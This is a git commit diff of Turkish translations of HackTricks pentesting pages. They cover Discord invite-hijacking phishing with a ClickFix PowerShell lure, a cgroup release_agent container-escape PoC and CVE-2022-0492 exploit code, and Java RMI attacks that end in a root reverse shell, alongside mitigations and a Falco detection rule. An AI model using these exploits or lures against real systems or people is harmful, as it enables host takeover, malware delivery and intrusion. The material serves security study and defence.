mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
d73a3cc329
commit
5a8d0ce0d4
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Discord’un davet sistemi açığı, tehdit aktörlerinin süresi dolmuş veya silinmiş davet kodlarını (geçici, kalıcı veya özel vanity) yeni vanity bağlantıları olarak herhangi bir Seviye 3 artırılmış sunucuda talep etmesine olanak tanır. Tüm kodları küçük harfe normalize ederek, saldırganlar bilinen davet kodlarını önceden kaydedebilir ve orijinal bağlantı süresi dolduğunda veya kaynak sunucu artırmasını kaybettiğinde trafiği sessizce ele geçirebilirler.
|
||||
Discord’un davet sistemi açığı, tehdit aktörlerinin süresi dolmuş veya silinmiş davet kodlarını (geçici, kalıcı veya özel vanity) herhangi bir Seviye 3 artırılmış sunucuda yeni vanity bağlantıları olarak talep etmesine olanak tanır. Tüm kodları küçük harfe normalize ederek, saldırganlar bilinen davet kodlarını önceden kaydedebilir ve orijinal bağlantı süresi dolduğunda veya kaynak sunucu artırmasını kaybettiğinde trafiği sessizce ele geçirebilirler.
|
||||
|
||||
## Davet Türleri ve Ele Geçirme Riski
|
||||
|
||||
@ -22,18 +22,18 @@ Discord’un davet sistemi açığı, tehdit aktörlerinin süresi dolmuş veya
|
||||
- **Sunucu Ayarları → Vanity URL** kısmında hedef davet kodunu atamayı deneyin. Kabul edilirse, kod kötü niyetli sunucu tarafından rezerve edilir.
|
||||
3. Ele Geçirme Aktivasyonu
|
||||
- Geçici davetler için, orijinal davetin süresi dolana kadar bekleyin (veya kaynağı kontrol ediyorsanız manuel olarak silin).
|
||||
- Büyük harf içeren kodlar için, küçük harfli versiyonu hemen talep edilebilir, ancak yönlendirme yalnızca süresi dolduktan sonra aktif hale gelir.
|
||||
- Büyük harf içeren kodlar için, küçük harfli versiyonu hemen talep edilebilir, ancak yönlendirme yalnızca süresi dolduktan sonra aktif olur.
|
||||
4. Sessiz Yönlendirme
|
||||
- Eski bağlantıyı ziyaret eden kullanıcılar, ele geçirme aktif hale geldiğinde saldırgan kontrolündeki sunucuya sorunsuz bir şekilde yönlendirilir.
|
||||
- Eski bağlantıyı ziyaret eden kullanıcılar, ele geçirme aktif olduğunda saldırgan kontrolündeki sunucuya sorunsuz bir şekilde yönlendirilir.
|
||||
|
||||
## Discord Sunucusu Üzerinden Phishing Akışı
|
||||
|
||||
1. Sunucu kanallarını kısıtlayarak yalnızca bir **#verify** kanalının görünür olmasını sağlayın.
|
||||
2. Yeni gelenleri OAuth2 ile doğrulamaya teşvik etmek için bir bot (örneğin, **Safeguard#0786**) dağıtın.
|
||||
3. Bot, kullanıcıları bir phishing sitesine (örneğin, `captchaguard.me`) yönlendirir ve bunu bir CAPTCHA veya doğrulama adımı olarak gösterir.
|
||||
2. Yeni gelenleri OAuth2 ile doğrulamaya yönlendirmek için bir bot (örneğin, **Safeguard#0786**) dağıtın.
|
||||
3. Bot, kullanıcıları bir CAPTCHA veya doğrulama adımı kılıfında bir phishing sitesine (örneğin, `captchaguard.me`) yönlendirir.
|
||||
4. **ClickFix** UX hilesini uygulayın:
|
||||
- Bozuk bir CAPTCHA mesajı gösterin.
|
||||
- Kullanıcıları **Win+R** diyalogunu açmaya, önceden yüklenmiş bir PowerShell komutunu yapıştırmaya ve Enter'a basmaya yönlendirin.
|
||||
- Kullanıcıları **Win+R** diyalogunu açmaya, önceden yüklenmiş bir PowerShell komutunu yapıştırmaya ve Enter tuşuna basmaya yönlendirin.
|
||||
|
||||
### ClickFix Panoya Enjeksiyon Örneği
|
||||
```javascript
|
||||
@ -55,7 +55,7 @@ Bu yaklaşım, doğrudan dosya indirmelerini önler ve kullanıcı şüphesini a
|
||||
|
||||
## Referanslar
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Daha fazla ayrıntı için, lütfen** [**orijinal blog yazısına**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** bakın.** Bu sadece bir özet:
|
||||
**Daha fazla bilgi için, lütfen** [**orijinal blog yazısına**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** bakın.** Bu sadece bir özet:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## Klasik PoC (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Kavram kanıtı (PoC), cgroups'u istismar etmek için bir `release_agent` dosyası oluşturarak ve bunun çağrılmasını tetikleyerek konteyner ana bilgisayarında rastgele komutlar çalıştırma yöntemini göstermektedir. İşte ilgili adımların bir dökümü:
|
||||
PoC, **cgroup-v1** `release_agent` özelliğini kötüye kullanır: `notify_on_release=1` olan bir cgroup'un son görevi çıktığında, çekirdek (host üzerindeki **ilk ad alanlarında**) yazılabilir dosya `release_agent` içinde saklanan programın yolunu çalıştırır. Bu yürütme **host üzerinde tam root ayrıcalıklarıyla** gerçekleştiğinden, dosyaya yazma erişimi elde etmek, bir konteyner kaçışı için yeterlidir.
|
||||
|
||||
### Kısa, okunabilir adım adım
|
||||
|
||||
1. **Yeni bir cgroup hazırlayın**
|
||||
|
||||
1. **Ortamı Hazırlayın:**
|
||||
- `/tmp/cgrp` dizini, cgroup için bir montaj noktası olarak hizmet vermek üzere oluşturulur.
|
||||
- RDMA cgroup denetleyicisi bu dizine monte edilir. RDMA denetleyicisi yoksa, alternatif olarak `memory` cgroup denetleyicisinin kullanılması önerilir.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Çocuk Cgroup'u Kurun:**
|
||||
- Montajlı cgroup dizini içinde "x" adında bir çocuk cgroup oluşturulur.
|
||||
- "x" cgroup'u için notify_on_release dosyasına 1 yazarak bildirimler etkinleştirilir.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # veya –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Release Agent'ı Yapılandırın:**
|
||||
- Konteynerin ana makinedeki yolu /etc/mtab dosyasından alınır.
|
||||
- Ardından cgroup'un release_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştıracak şekilde yapılandırılır.
|
||||
|
||||
2. **`release_agent`'i saldırgan kontrolündeki script'e yönlendirin**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **/cmd Scriptini Oluşturun ve Yapılandırın:**
|
||||
- /cmd scripti konteyner içinde oluşturulur ve ps aux komutunu çalıştıracak şekilde yapılandırılır, çıktıyı konteynerde /output adlı bir dosyaya yönlendirir. /output'un ana makinedeki tam yolu belirtilir.
|
||||
|
||||
3. **Yükü bırakın**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **Saldırıyı Tetikleme:**
|
||||
- "x" çocuk cgroup içinde bir işlem başlatılır ve hemen sonlandırılır.
|
||||
- Bu, `release_agent`'i (the /cmd script) tetikler, bu da host üzerinde ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar.
|
||||
|
||||
4. **Bildirimciyi tetikleyin**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # kendimizi ekleyin ve hemen çıkın
|
||||
cat /output # şimdi host süreçlerini içerir
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2022 çekirdek zafiyeti – CVE-2022-0492
|
||||
|
||||
Şubat 2022'de Yiqi Sun ve Kevin Wang, **çekirdeğin cgroup-v1'de `release_agent`'e yazan bir süreç için yetenekleri doğrulamadığını** keşfettiler (fonksiyon `cgroup_release_agent_write`).
|
||||
|
||||
Etkili bir şekilde, **bir cgroup hiyerarşisini monte edebilen herhangi bir süreç (örneğin `unshare -UrC` aracılığıyla) *ilk* kullanıcı ad alanında `CAP_SYS_ADMIN` olmadan `release_agent`'e rastgele bir yol yazabilirdi**. Varsayılan yapılandırılmış, root çalışan bir Docker/Kubernetes konteynerinde bu, şunlara izin verdi:
|
||||
|
||||
* host üzerinde root'a ayrıcalık yükseltme; ↗
|
||||
* konteynerin ayrıcalıklı olmadan kaçışı.
|
||||
|
||||
Hata **CVE-2022-0492** (CVSS 7.8 / Yüksek) olarak atandı ve aşağıdaki çekirdek sürümlerinde (ve tüm sonrakilerde) düzeltildi:
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Yaman commit: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Konteyner içinde minimal istismar
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
Eğer çekirdek savunmasızsa, *host* üzerindeki busybox ikili dosyası tam root yetkisiyle çalışır.
|
||||
|
||||
### Güçlendirme ve Önlemler
|
||||
|
||||
* **Çekirdeği güncelleyin** (≥ versiyonlar üstü). Yamanın artık `release_agent`'a yazmak için *ilk* kullanıcı ad alanında `CAP_SYS_ADMIN` gerektirdiği.
|
||||
* **cgroup-v2'yi tercih edin** – birleşik hiyerarşi **`release_agent` özelliğini tamamen kaldırdı**, bu tür kaçışları ortadan kaldırdı.
|
||||
* **Gereksiz yetkisiz kullanıcı ad alanlarını devre dışı bırakın**:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Zorunlu erişim kontrolü**: `mount`, `openat` üzerinde `/sys/fs/cgroup/**/release_agent`'ı reddeden AppArmor/SELinux politikaları veya `CAP_SYS_ADMIN`'ı düşüren politikalar, savunmasız çekirdeklerde bile tekniği durdurur.
|
||||
* **Salt okunur bağlama maskesi** tüm `release_agent` dosyaları için (Palo Alto script örneği):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Çalışma Zamanında Tespit
|
||||
|
||||
[`Falco`](https://falco.org/) v0.32'den itibaren yerleşik bir kural ile birlikte gelir:
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
Kural, hala `CAP_SYS_ADMIN` yetkisine sahip bir konteyner içindeki bir süreçten `*/release_agent`'e yapılan herhangi bir yazma girişiminde tetiklenir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: cgroups aracılığıyla konteyner kaçışı](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – detaylı analiz ve hafifletme scripti.
|
||||
* [Sysdig Falco kuralı ve tespit rehberi](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
_Java Uzak Yöntem Çağrısı_ veya _Java RMI_, bir _Java sanal makinesi_ içinde bulunan bir nesnenin, başka bir _Java sanal makinesi_ içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften _Java RMI_ hakkında kısa bir tanıtım [bu blackhat konuşmasında](https://youtu.be/t_aw1mDNhzI?t=202) bulunabilir.
|
||||
_Java Remote Method Invocation_ veya _Java RMI_, bir _Java sanal makinesi_ içinde bulunan bir nesnenin, başka bir _Java sanal makinesi_ içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften _Java RMI_ hakkında kısa bir tanıtım [bu blackhat konuşmasında](https://youtu.be/t_aw1mDNhzI?t=202) bulunabilir.
|
||||
|
||||
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
@ -20,14 +20,14 @@ _nmap_, bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluklar yaşaya
|
||||
|
||||
## RMI Bileşenleri
|
||||
|
||||
Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit görünse de, _Java RMI_'nin çözmesi gereken birkaç zorluk vardır:
|
||||
Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit gibi görünse de, _Java RMI_'nin çözmesi gereken birkaç zorluk vardır:
|
||||
|
||||
1. _Java RMI_ aracılığıyla bir yöntem çağrısını iletmek için, istemcilerin IP adresini, dinleme portunu, uygulanan sınıfı veya arayüzü ve hedef nesnenin `ObjID`'sini bilmesi gerekir ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, birden fazla nesnenin aynı _TCP_ portunda dinlemesine izin verdiği için gereklidir).
|
||||
2. Uzaktan istemciler, maruz bırakılan nesne üzerinde yöntemleri çağırarak sunucuda kaynak ayırabilir. _Java sanal makinesi_, bu kaynaklardan hangilerinin hala kullanıldığını ve hangilerinin çöp toplanabileceğini takip etmelidir.
|
||||
|
||||
İlk zorluk, temelde _Java RMI_ için bir adlandırma hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmelerine olanak tanır.
|
||||
|
||||
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve registry, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
|
||||
Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir _RMI registry_ ile bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve `ObjID` değeri) depolar ve bunu insan tarafından okunabilir bir ad (bağlı ad) altında kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, ilgili _bağlı adı_ almak için _RMI registry_ ile iletişime geçer ve kayıt, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir _DNS_ hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,7 +51,7 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
Yukarıda bahsedilen ikinci zorluk, _Distributed Garbage Collector_ (_DGC_) tarafından çözülmektedir. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_dir ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzaktan nesne_nin kullanıldığını _DGC_'ye bildirir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
|
||||
Yukarıda bahsedilen zorlukların ikincisi _Distributed Garbage Collector_ (_DGC_) tarafından çözülmektedir. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_dir ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzaktan nesne_nin kullanıldığını _DGC_'ye bildirir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
|
||||
|
||||
Eski _Activation System_ ile birlikte, bunlar _Java RMI_'nin üç varsayılan bileşenidir:
|
||||
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
```
|
||||
Enumeration eyleminin çıktısı, projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha ayrıntılı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zafiyetleri doğrulamaya çalışmalısınız.
|
||||
|
||||
_remote-method-guesser_ tarafından görüntülenen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamayı mümkün kılabilir:
|
||||
_remote-method-guesser_ tarafından görüntülenen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetlerin tanımlanmasına olanak tanıyabilir:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
@ -138,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
```
|
||||
## Uzak Yöntemleri Bruteforce Etme
|
||||
|
||||
Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli işlevler açığa çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek değerlidir.
|
||||
Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut _RMI_ hizmetleri hala tehlikeli işlevler açığa çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel _RMI_ hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, _RMI_ hizmetlerindeki geçerli yöntem imzalarını bilmek değerlidir.
|
||||
|
||||
Ne yazık ki, _Java RMI_ uzak nesnelerde yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
|
||||
Ne yazık ki, _Java RMI_ uzak nesnelerdeki yöntemleri listelemeyi desteklememektedir. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -198,18 +198,18 @@ Ncat: Connection from 172.17.0.2:45479.
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
Bu makalelerde daha fazla bilgi bulabilirsiniz:
|
||||
Daha fazla bilgi bu makalelerde bulunabilir:
|
||||
|
||||
- [JEP 290'tan sonra Java RMI hizmetlerine saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
- [Yöntem Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
||||
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Tahmin etmenin yanı sıra, karşılaşılan _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bağlı ad_ ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir.
|
||||
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya _GitHub_ üzerinde de arama yapmalısınız. _Bound name_ ve uygulanan sınıf veya arayüzün adı burada yardımcı olabilir.
|
||||
|
||||
## Bilinen Arayüzler
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ iç veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
||||
|
||||
#### Nedir
|
||||
|
||||
Docker, **konteynerleştirme endüstrisinde** **öncü platform** olup, **sürekli yenilik** konusunda öncülük etmektedir. Uygulamaların **gelenekselden geleceğe** kadar sorunsuz bir şekilde oluşturulmasını ve dağıtılmasını sağlar ve bunların çeşitli ortamlarda **güvenli dağıtımını** garanti eder.
|
||||
Docker, **konteynerleştirme endüstrisinde** **öncü platform** olup, **sürekli yenilik** konusunda öncülük etmektedir. Uygulamaların **gelenekselden geleceğe** kadar kolayca oluşturulmasını ve dağıtılmasını sağlar ve bunların çeşitli ortamlarda **güvenli dağıtımını** garanti eder.
|
||||
|
||||
#### Temel docker mimarisi
|
||||
|
||||
- [**containerd**](http://containerd.io): Bu, konteynerlerin yaşam döngüsünün kapsamlı **yönetimi** ile görevli bir **temel çalışma zamanı**dır. Bu, **görüntü transferi ve depolaması** ile birlikte konteynerlerin **çalıştırılması, izlenmesi ve ağ bağlantısının** denetimini içerir. Containerd hakkında **daha ayrıntılı bilgiler** **ilerleyen bölümlerde** ele alınmaktadır.
|
||||
- **container-shim**, **başsız konteynerlerin** yönetiminde bir **aracı** olarak kritik bir rol oynar ve konteynerler başlatıldıktan sonra **runc**'dan sorunsuz bir şekilde devralır.
|
||||
- [**runc**](http://runc.io): **Hafif ve evrensel konteyner çalışma zamanı** yetenekleri ile tanınan runc, **OCI standardı** ile uyumludur. Containerd tarafından **konteynerleri başlatmak ve yönetmek** için **OCI yönergelerine** göre kullanılır ve orijinal **libcontainer**'dan evrilmiştir.
|
||||
- [**grpc**](http://www.grpc.io), containerd ile **docker-engine** arasında **ileşimi kolaylaştırmak** için gereklidir ve **verimli etkileşimi** sağlar.
|
||||
- [**OCI**](https://www.opencontainers.org), çalışma zamanı ve görüntüler için **OCI spesifikasyonlarını** korumada kritik bir rol oynar ve en son Docker sürümleri, hem OCI görüntü hem de çalışma zamanı standartlarına **uyumlu**dır.
|
||||
- [**containerd**](http://containerd.io): Bu, konteynerlerin yaşam döngüsünün kapsamlı **yönetimi** için görevli bir **temel çalışma zamanı**dır. Bu, **görüntü transferi ve depolaması** ile birlikte konteynerlerin **çalıştırılması, izlenmesi ve ağ bağlantısının** denetlenmesini içerir. Containerd hakkında **daha ayrıntılı bilgiler** **ilerleyen bölümlerde** ele alınmaktadır.
|
||||
- **container-shim**, **başsız konteynerlerin** yönetiminde bir **aracı** olarak kritik bir rol oynar ve konteynerler başlatıldıktan sonra **runc**'dan sorumluluğu devralır.
|
||||
- [**runc**](http://runc.io): **hafif ve evrensel konteyner çalışma zamanı** yetenekleri ile tanınan runc, **OCI standardı** ile uyumludur. Containerd tarafından **konteynerleri başlatmak ve yönetmek** için **OCI yönergelerine** göre kullanılır ve orijinal **libcontainer**'dan evrim geçirmiştir.
|
||||
